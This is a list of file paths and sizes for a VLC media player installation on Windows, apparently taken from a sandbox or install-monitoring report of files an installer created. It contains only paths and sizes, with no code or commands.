%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_04.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input_item.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\create_stream.html (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_01.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll (372030 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Video-48.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_osd.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist_small.png (84 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\input (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\batch_window.html (857 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_media_library.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\help.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\vlm.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\error_window.html (482 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_08.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\main.css (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Reset VLC media player preferences and cache files.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_version.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_spu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\test.html (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_xml.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe.manifest (825 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_messages.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\ui.js (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo (702 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_subpicture.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png (197 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\icecast.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll (330807 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_plugin.h (16 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\style.css (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo (13584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_about.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_05.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll (41699 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\custom.lua (487 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\libvlc.pc (283 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.exe (2968 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm_export.html (296 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_avcodec.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_library.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fs.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo (16944 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slow.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\fetcher\tvrage.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png (126 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_md5.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_charset.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\zapiks.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_strings.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_url.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\index.html (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sql.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\dkjson.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config_cat.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_video_splitter.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pluzz.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_objects.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_left.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_atomic.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll (1856 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VideoLAN Website.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll (32784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\dailymotion.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png (115 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\deprecated.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll (65945 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metachannels.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\host.luac (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.catalog (167 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\footer (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\jamendo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\mobile.css (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_text_style.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\appletrailers.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_tls.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\prev.png (104 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\refresh.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xlib.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_meta.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo (484 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_variables.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\browse (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_equalizer.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\vlc-plugin.pc (816 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_intf.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc-48.png (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\buttons.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\unselected.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\cli.luac (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.dtd (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\favicon.ico (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_window.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll (5064 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Documentation.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dumpmeta.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_bits.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\THANKS.txt (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_00.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_playlist.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker.png (174 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_rand.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\controlers.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\offset_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Other-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\sout (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist.png (85 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\katsomo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\browse_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\README.TXT (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\jamendo.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\eject.png (93 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\README.txt (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\NEWS.txt (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\play_pause.png (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_06.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_events.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\common.js (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\soundcloud.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc-cache-gen.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.lib (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll (38495 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (8560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED8.tmp (2019660 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_right.png (91 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\stop.png (80 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\winamp2.xml (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dummy.luac (819 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_mixer.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\break.luac (1 bytes)
